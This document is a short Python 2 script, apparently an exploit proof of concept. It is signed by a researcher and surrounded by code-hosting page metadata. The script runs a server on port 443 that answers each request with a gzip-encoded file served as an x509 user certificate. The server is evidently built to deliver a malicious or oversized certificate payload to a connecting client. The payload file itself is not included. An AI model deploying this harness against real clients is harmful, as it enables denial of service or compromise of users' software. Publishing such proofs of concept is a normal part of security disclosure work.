49 lines
No EOL
1.2 KiB
Python
Executable file
49 lines
No EOL
1.2 KiB
Python
Executable file
#! /usr/bin/python2
|
|
|
|
import socket
|
|
import sys
|
|
import time
|
|
|
|
kHost = '127.0.0.1'
|
|
kPort = 443
|
|
|
|
def bind_listen():
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
|
|
s.bind((kHost, kPort))
|
|
s.listen(1)
|
|
return s
|
|
|
|
def send_certificate(c, r):
|
|
print '[*] sending certificate'
|
|
payload = ''
|
|
with open('compressed', 'rb') as tmp:
|
|
payload = tmp.read()
|
|
c.send('HTTP/1.1 200 OK\r\n')
|
|
c.send('Content-Type: application/x-x509-user-cert\r\n')
|
|
c.send('Content-Encoding: gzip\r\n')
|
|
c.send('Content-Length: {}\r\n'.format(len(payload)))
|
|
c.send('\r\n')
|
|
c.send(payload)
|
|
|
|
def main():
|
|
print '[*] listening for connection on port {}:{}'.format(kHost, kPort)
|
|
s = bind_listen()
|
|
while True:
|
|
c, (host, port) = s.accept()
|
|
print '[*] connection from {}:{}'.format(host, port)
|
|
while True:
|
|
r = c.recv(1024)
|
|
if 'favicon' in r:
|
|
c.send('HTTP/1.1 404 Not Found\r\n\r\n')
|
|
else:
|
|
send_certificate(c, r)
|
|
time.sleep(20)
|
|
sys.exit(0)
|
|
|
|
if __name__ == '__main__':
|
|
main()
|
|
|
|
Thanks,
|
|
Paulos Yibelo |